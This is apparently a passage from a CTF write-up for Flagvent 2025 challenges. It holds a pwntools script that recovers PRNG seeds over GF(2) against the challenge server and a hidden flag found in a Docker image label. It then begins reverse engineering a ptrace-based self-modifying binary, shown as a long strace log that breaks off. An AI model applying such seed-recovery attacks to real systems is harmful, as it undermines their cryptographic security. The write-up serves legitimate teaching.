ctr = self._counter.to_bytes(16, "big")
block = hmac.new(self._key, ctr, digestmod=hash256_new).digest()
self._counter += 1
return block
def getrandbits(self, n):
out = bytearray()
while len(out) * 8 < n:
out.extend(self._next_block())
v = int.from_bytes(out, "big")
return v & ((1 << n) - 1)
def seed_to_output(seed: bytes) -> int:
"""Compute the 256-bit output from a seed"""
return RNG(seed).getrandbits(256)
# ============================================================
# Linear algebra attack over GF(2)
# ============================================================
def build_matrix():
print("[*] Computing bias = f(0)...")
bias = seed_to_output(bytes(30))
print("[*] Building 256x240 matrix over GF(2)...")
columns = []
for bit_index in range(240):
byte_idx = bit_index // 8
bit_idx = bit_index % 8
# Create basis vector e_i
seed = bytearray(30)
seed[byte_idx] = 1 << bit_idx
# Column = f(e_i) ^ bias
output = seed_to_output(bytes(seed))
columns.append(output ^ bias)
return bias, columns
def solve_gf2(columns, target):
n_vars = 240
n_eqs = 256
rows = []
for eq in range(n_eqs):
row = 0
for var in range(n_vars):
if (columns[var] >> eq) & 1:
row |= (1 << var)
if (target >> eq) & 1:
row |= (1 << n_vars)
rows.append(row)
pivot_row = 0
pivot_cols = []
for col in range(n_vars):
found = False
for r in range(pivot_row, n_eqs):
if (rows[r] >> col) & 1:
rows[pivot_row], rows[r] = rows[r], rows[pivot_row]
found = True
break
if not found:
continue
pivot_cols.append(col)
for r in range(n_eqs):
if r != pivot_row and ((rows[r] >> col) & 1):
rows[r] ^= rows[pivot_row]
pivot_row += 1
solution = 0
for i, col in enumerate(pivot_cols):
if (rows[i] >> n_vars) & 1:
solution |= (1 << col)
return solution
def int_to_seed(value: int) -> bytes:
"""Convert 240-bit integer to 30-byte seed"""
seed = bytearray(30)
for i in range(240):
if (value >> i) & 1:
seed[i // 8] |= (1 << (i % 8))
return bytes(seed)
def recover_seed(leak: int, bias: int, columns: list) -> bytes:
"""Recover seed from leaked output using linear algebra"""
target = leak ^ bias
solution = solve_gf2(columns, target)
return int_to_seed(solution)
def main():
# Step 1: Build the linear model (precomputation)
print("[*] Building linear model...")
bias, columns = build_matrix()
print(f"[+] Matrix built: {len(columns)} columns, bias = {hex(bias)[:20]}...")
# Step 2: Connect to server
HOST = 'f553904b-8ada-4e67-a652-86fd74188336.challs.flagvent.org'
PORT = 31337
print(f"[*] Connecting to {HOST}:{PORT}...")
r = remote(HOST, PORT, ssl=True)
# Step 3: Solve 256 rounds
for i in range(256):
# Receive leak
line = r.recvline().decode()
leak = int(line.split('=')[1].strip(), 16)
# Wait for prompt
r.recvuntil(b'gib scheed: ')
# Recover seed and send
seed = recover_seed(leak, bias, columns)
r.sendline(seed.hex().encode())
if (i + 1) % 32 == 0:
print(f"[+] Completed {i + 1}/256 rounds")
# Step 4: Get flag
flag = r.recvline().decode().strip()
print(f"[+] Flag: {flag}")
r.close()
if __name__ == "__main__":
main()
Location Issues
Solving this challenge requires reaching out to the server, reading bytes, calculating the seed, and sending it back 256 times. The server is in Europe, which is an issue for me in the US:
64 bytes from static.238.10.98.91.clients.your-server.de (91.98.10.238): icmp_seq=2 ttl=255 time=134 ms
There’s a 134 ms round trip time from my host. That means that without any time for calculating on my host, it takes over 30 seconds in just transit time:
>>> 0.134 * 256
34.304
I’ll use a GitHub Codespace. In my account settings, I’ll set the Codespaces Region to Europe West:
Then I’ll get a codespace, run pip install pwntools, and give it my script. The same script that crashes at 30 seconds works fine:
Flag: FV25{w4sn't_th4t_h4rd_n0w_w4s_it?}
FV25.H3
Challenge
This extra flag is hidden inside another challenge. |
|
| Categories: |
|
| Level: | hidden |
| Author: | hidden |
Solution
The source for Day 14 comes with a Dockerfile:
FROM ghcr.io/flagvent/challenges/alpine-stable:1.0
RUN apk add socat python3 shadow --no-cache && useradd -m -r -u 1001 chal && apk del shadow
WORKDIR /app
COPY chal.py .
USER 1001
ENTRYPOINT socat tcp-l:1337,reuseaddr,fork EXEC:"python3 /app/chal.py"
This is pretty straight forward. It installs socat, Python, and shadow. Then it uses useradd (from shadow) to create a user, and then deletes the shadow package.
It sets the working directory, copies in the challenge script, sets the user, and runs it.
However, the base image is custom. Typically I would expect to see standard containers. For example, day 8 uses FROM ubuntu:24.04, day 6 has FROM node:18-slim, and day 17 has FROM rust:1.91-alpine3.20 AS build.
So what is this custom image. I’ll download it with docker pull ghcr.io/flagvent/challenges/alpine-stable:1.0, and then inspect:
oxdf@hacky$ docker inspect ghcr.io/flagvent/challenges/alpine-stable:1.0
[
{
"Id": "sha256:c5abae227e2832d9f8ce0825b03cb478270528412bfe492042eefbc4855ddd9a",
"RepoTags": [
"ghcr.io/flagvent/challenges/alpine-stable:1.0"
],
"RepoDigests": [
"ghcr.io/flagvent/challenges/alpine-stable@sha256:cd7da0e2ba7d337c6bf25301d9bd6fcc3205e577145a3cae4a15a42a4cca4693"
],
"Parent": "",
"Comment": "",
"Created": "2025-12-14T13:04:40.848223781Z",
"DockerVersion": "24.0.7",
"Author": "",
"Architecture": "amd64",
"Os": "linux",
"Size": 8442034,
"GraphDriver": {
"Data": {
"MergedDir": "/var/lib/docker/overlay2/ddf2343bbd0f4cd93bb5b58f0e30399bcd66b32c35749c2df470a1d597aeac34/merged",
"UpperDir": "/var/lib/docker/overlay2/ddf2343bbd0f4cd93bb5b58f0e30399bcd66b32c35749c2df470a1d597aeac34/diff",
"WorkDir": "/var/lib/docker/overlay2/ddf2343bbd0f4cd93bb5b58f0e30399bcd66b32c35749c2df470a1d597aeac34/work"
},
"Name": "overlay2"
},
"RootFS": {
"Type": "layers",
"Layers": [
"sha256:5aa68bbbc67e405a7cfa11466b02f1c9597add532909fb9a4d0f6f58a30b044e"
]
},
"Metadata": {
"LastTagTime": "0001-01-01T00:00:00Z"
},
"Config": {
"Cmd": [
"/bin/sh"
],
"Entrypoint": null,
"Env": [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
],
"Labels": {
"org.flagvent.hidden-flag": "FV25{h1dden_1n_d0cker}"
},
"OnBuild": null,
"User": "",
"Volumes": null,
"WorkingDir": "/"
}
}
]
At the end in a Label there’s a hidden flag!
Flag: FV25{h1dden_1n_d0cker}
FV25.15
Challenge
While trying to modernize his ageing sledge, Santa tried to create a new navigation system but it doesn’t seem to work right… |
|
| Categories: |
|
| Level: | hard |
| Author: | fabi07 |
| Attachments: |
📦 ttsp.tar.gz
|
| Spawnable Instance: |
|
The challenge includes a spawnable TCP socket that I can connect to with nc and a downloadable with a single file, chall. Connecting to the socket first prints a Christmas tree:
On hitting enter, it prints a list of 131 cities with lat / lons, and then asks for a tour:
Locations:
North pole: (90.0, 0.0)
Deepfreeze Dock: (82.644699, 119.744265)
...[snip]...
Oakfrost: (5.760718, -119.084804)
Ribbonsnow: (11.957200, 162.543587)
Auroraville: (80.834639, -16.282719)
Quietus Snow: (-16.117116, -35.474517)
Enter tour:
0:
The binary is a Linux ELF binary:
oxdf@hacky$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Running it produces the same output, though the list of cities is much smaller (27).
Reverse Engineering
entry / main
I’ll open the file in Ghidra to take a look. The entry calls a setup function with calls lib_start_main (0x4033d0) with FUN_0040249b as an argument. That should be the main function, but checking it out, it’s not valid code:
The assembly is NOPs into strings of letters:
There’s not a lot to see here like this.
strace
Running the file with strace shows what’s happening:
oxdf@hacky$ strace ./chall
execve("./ttsp/chall", ["./ttsp/chall"], 0x7ffeb2cdfdd0 /* 68 vars */) = 0
arch_prctl(ARCH_SET_FS, 0x41a198) = 0
set_tid_address(0x41a2d0) = 482326
open("/proc/self/maps", O_RDONLY|O_LARGEFILE) = 3
brk(NULL) = 0x34357000
brk(0x34359000) = 0x34359000
mmap(0x34357000, 4096, PROT_NONE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x34357000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7993afcef000
read(3, "00400000-00401000 r--p 00000000 "..., 1024) = 1024
lseek(3, -776, SEEK_CUR) = 248
close(3) = 0
munmap(0x7993afcef000, 4096) = 0
mprotect(0x401000, 65536, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
rt_sigprocmask(SIG_BLOCK, ~[RTMIN RT_1 RT_2], [], 8) = 0
rt_sigprocmask(SIG_BLOCK, ~[], ~[KILL STOP RTMIN RT_1 RT_2], 8) = 0
fork() = 482327
rt_sigprocmask(SIG_SETMASK, ~[KILL STOP RTMIN RT_1 RT_2], NULL, 8) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_STOPPED, si_pid=482327, si_uid=1000, si_status=SIGSTOP, si_utime=0, si_stime=0} ---
ptrace(PTRACE_ATTACH, 482327) = 0
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_STOPPED, si_pid=482327, si_uid=1000, si_status=SIGSTOP, si_utime=0, si_stime=0} ---
wait4(482327, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGSTOP}], 0, NULL) = 482327
ptrace(PTRACE_CONT, 482327, NULL, 0) = 0
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=482327, si_uid=1000, si_status=SIGSTOP, si_utime=0, si_stime=0} ---
wait4(482327, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGSTOP}], 0, NULL) = 482327
ptrace(PTRACE_CONT, 482327, NULL, 0) = 0
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=482327, si_uid=1000, si_status=SIGFPE, si_utime=0, si_stime=0} ---
wait4(482327, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGFPE}], 0, NULL) = 482327
ptrace(PTRACE_GETREGS, 482327, {r15=0, r14=0, r13=0x7ffec89ce268, r12=0x40249b, rbp=0x7ffec89ce210, rbx=0x1, r11=0x246, r10=0x70, r9=0x34358018, r8=0x4194e0, rax=0, rcx=0x405dab, rdx=0x7ffec89ce268, rsi=0x7ffec89ce258, rdi=0x1, orig_rax=0xffffffffffffffff, rip=0x4024b9, cs=0x33, eflags=0x10246, rsp=0x7ffec89ce210, ss=0x2b, fs_base=0x41a198, gs_base=0, ds=0, es=0, fs=0, gs=0}) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4024bb, [0x6262626261616161]) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4024c3, [0x6464646463636363]) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024b9, [0x626261616161f0f7]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024b9, 0x626261616161f090) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024ba, [0x62626261616161f0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024ba, 0x6262626161616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024bb, [0x6262626261616161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024bb, 0x6262626261616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024bc, [0x6362626262616161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024bc, 0x6362626262616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024bd, [0x6363626262626161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024bd, 0x6363626262626190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024be, [0x6363636262626261]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024be, 0x6363636262626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024bf, [0x6363636362626262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024bf, 0x6363636362626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024c0, [0x6463636363626262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024c0, 0x6463636363626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024c1, [0x6464636363636262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024c1, 0x6464636363636290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024c2, [0x6464646363636362]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024c2, 0x6464646363636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024c3, [0x6464646463636363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024c3, 0x6464646463636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024c4, [0x164646464636363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024c4, 0x164646464636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024c5, [0x8d01646464646363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024c5, 0x8d01646464646390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024c6, [0x168d016464646463]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024c6, 0x168d016464646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024c7, [0x3b168d0164646464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024c7, 0x3b168d0164646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024c8, [0xd53b168d01646464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024c8, 0xd53b168d01646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024c9, [0x26d53b168d016464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024c9, 0x26d53b168d016490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024ca, [0x8e26d53b168d0164]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024ca, 0x8e26d53b168d0190) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4024cb, [0x18e26d53b168d01]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024cb, 0xb900016af6058b48) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4024d3, [0xb88e2505cd130649]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024d3, 0x2ba00000000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4024db, [0x31c627bfcd13b849]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024db, 0x894800000000be00) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4024e3, [0x33c627bf88d4ee8e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024e3, 0x8b48000045c7e8c7) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4024eb, [0xb88e9ebfcc79d64c]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024eb, 0xb900016ad005) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4024f3, [0x68e27bfcfa90649]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024f3, 0xbe00000002ba0000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4024fb, [0x5049aef7cd130649]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024fb, 0xe8c7894800000000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402503, [0x128bacf7cd1343e0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402503, 0xaa058b48000045a9) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40250b, [0xb88e27bf74130723]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40250b, 0xb900016a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402513, [0xb88e99bfcd1304f3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402513, 0xbe00000002ba) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40251b, [0xfd05cf78445b0649]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40251b, 0x458be8c789480000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402523, [0x508e27bfcdab0649]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402523, 0xe800000000b80000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40252b, [0xb88e270732ecfcf0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40252b, 0xb8fffffab9) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402533, [0xb88e27bfcdd05b49]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402533, 0xc35d00) = 0
nanosleep({tv_sec=0, tv_nsec=10000000}, 0x7ffec89cdf30) = 0
ptrace(PTRACE_SETREGS, 482327, {r15=0, r14=0, r13=0x7ffec89ce268, r12=0x40249b, rbp=0x7ffec89ce210, rbx=0x1, r11=0x246, r10=0x70, r9=0x34358018, r8=0x4194e0, rax=0, rcx=0x405dab, rdx=0x7ffec89ce268, rsi=0x7ffec89ce258, rdi=0x1, orig_rax=0xffffffffffffffff, rip=0x4024cb, cs=0x33, eflags=0x10246, rsp=0x7ffec89ce210, ss=0x2b, fs_base=0x41a198, gs_base=0, ds=0, es=0, fs=0, gs=0}) = 0
ptrace(PTRACE_CONT, 482327, NULL, 0) = 0
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=482327, si_uid=1000, si_status=SIGFPE, si_utime=0, si_stime=0} ---
wait4(482327, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGFPE}], 0, NULL) = 482327
ptrace(PTRACE_GETREGS, 482327, {r15=0, r14=0, r13=0x7ffec89ce268, r12=0x40249b, rbp=0x7ffec89ce1f0, rbx=0x1, r11=0x246, r10=0x448, r9=0x34358018, r8=0x4194e0, rax=0, rcx=0, rdx=0x2, rsi=0, rdi=0x419100, orig_rax=0xffffffffffffffff, rip=0x402035, cs=0x33, eflags=0x10246, rsp=0x7ffec89cd5c0, ss=0x2b, fs_base=0x41a198, gs_base=0, ds=0, es=0, fs=0, gs=0}) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402037, [0x6262626261616161]) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40203f, [0x6464646463636363]) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402035, [0x626261616161f0f7]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402035, 0x626261616161f090) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402036, [0x62626261616161f0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402036, 0x6262626161616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402037, [0x6262626261616161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402037, 0x6262626261616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402038, [0x6362626262616161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402038, 0x6362626262616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402039, [0x6363626262626161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402039, 0x6363626262626190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40203a, [0x6363636262626261]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40203a, 0x6363636262626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40203b, [0x6363636362626262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40203b, 0x6363636362626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40203c, [0x6463636363626262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40203c, 0x6463636363626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40203d, [0x6464636363636262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40203d, 0x6464636363636290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40203e, [0x6464646363636362]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40203e, 0x6464646363636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40203f, [0x6464646463636363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40203f, 0x6464646463636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402040, [0x64646464636363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402040, 0x64646464636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402041, [0xc100646464646363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402041, 0xc100646464646390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402042, [0xd1c1006464646463]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402042, 0xd1c1006464646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402043, [0xe5d1c10064646464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402043, 0xe5d1c10064646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402044, [0xbbe5d1c100646464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402044, 0xbbe5d1c100646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402045, [0x27bbe5d1c1006464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402045, 0x27bbe5d1c1006490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402046, [0x8e27bbe5d1c10064]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402046, 0x8e27bbe5d1c10090) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402047, [0x898e27bbe5d1c100]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402047, 0x3100000428c2c749) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40204f, [0xd9ef46dec61c9689]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40204f, 0x616161610b0f90c0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402057, [0xdbed44dcaf71642b]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402057, 0x6363636362626262) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40205f, [0xab4fe3f5a977622d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40205f, 0x13c1c44a64646464) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402067, [0xbb07437cfb14014a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402067, 0x38964c336070703) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40206f, [0xd9ef46deab75602f]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40206f, 0x6161616166666666) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402077, [0xdfe940d8a977622d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402077, 0x6767676764646464) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40207f, [0xbca943dba3559bfc]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40207f, 0x42764646e469db5) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402087, [0x9592ee55671a2da7]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402087, 0x2d1cc9eaaa092bee) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40208f, [0x56597a02b345839c]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40208f, 0xeed75dbd7e5685d5) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402097, [0xf683004ce0fc6846]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402097, 0x4e0d27f32def6e0f) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40209f, [0xe46e99925d670f1e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40209f, 0x5ce0be2d90740957) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020a7, [0xb36b44b1308f9b72]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020a7, 0xbe5630efd9c9d3b) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020af, [0xac145399c7558fbf]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020af, 0x149a74260a4689f6) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020b7, [0xf14a75e6a4534983]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020b7, 0x49c4525969404fca) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020bf, [0x318ac5b083960937]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020bf, 0x8904e20f4e850f7e) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020c7, [0x1cddc7906adb8667]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020c7, 0xa453e02fa7c8802e) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020cf, [0x5887db2140a714f0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020cf, 0xe009fc9e8db412b9) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020d7, [0xc5d2971f30fe4be]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020d7, 0xb4d30ece3e1ce2f7) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020df, [0x5dae215fa3150bf7]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020df, 0xe52006e06e060dbe) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020e7, [0xf8e87fcf983dec29]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020e7, 0x40665870552eea60) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020ef, [0x1d53dd9820135896]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020ef, 0xa5ddfa27ed005edf) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020f7, [0x92cc23be7fa6bb7a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020f7, 0x2a420401b2b5bd33) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020ff, [0xea43b6d1cdb5d73f]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020ff, 0x52cd916e00a6d176) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402107, [0x7f5dc19b52c51776]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402107, 0xc7d3e6249fd6113f) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40210f, [0x5f07ec1f5fb0641d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40210f, 0xe789cba092a36254) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402117, [0x2695a0e10bd5f160]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402117, 0x9e1b875ec6c6f729) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40211f, [0xbaf0d33e441d772]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40211f, 0xb3212a8c2952d13b) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402127, [0x4dc3c7a5b5ef430d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402127, 0xf54de01a78fc4544) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40212f, [0x8fe466aa9d1e2398]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40212f, 0x376a4115500d25d1) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402137, [0x80ee0866841da5a4]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402137, 0x38602fd9490ea3ed) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40213f, [0xb64e51cfe3849e6]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40213f, 0xb3eac2a3332b4faf) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402147, [0xbbf69f526b9c6815]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402147, 0x378b8eda68f6e5c) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40214f, [0xa52abe8f162e2c44]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40214f, 0x1da49930db3d2a0d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402157, [0x37a391f4ab90bb80]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402157, 0x8f2db64b6683bdc9) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40215f, [0x50eef5b364af1f27]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40215f, 0xe860d20ca9bc196e) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402167, [0x144cb929ac528bf9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402167, 0xacc29e9661418db0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40216f, [0x11a9d6bfb3649381]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40216f, 0xa927f1007e7795c8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402177, [0x499a9cd71c43b83b]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402177, 0xf114bb68d150be72) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40217f, [0xa9b253b5f8270bbe]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40217f, 0x113c740a35340df7) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402187, [0xeac30eea0c2993b7]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402187, 0x524d2955c13a95fe) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40218f, [0x407deb642aecfa6c]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40218f, 0xf8f3ccdbe7fffc25) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402197, [0x5c9d73860bc91b8a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402197, 0xe4135439c6da1dc3) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40219f, [0x36098fc66b4c45b5]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40219f, 0x8e87a879a65f43fc) = 0
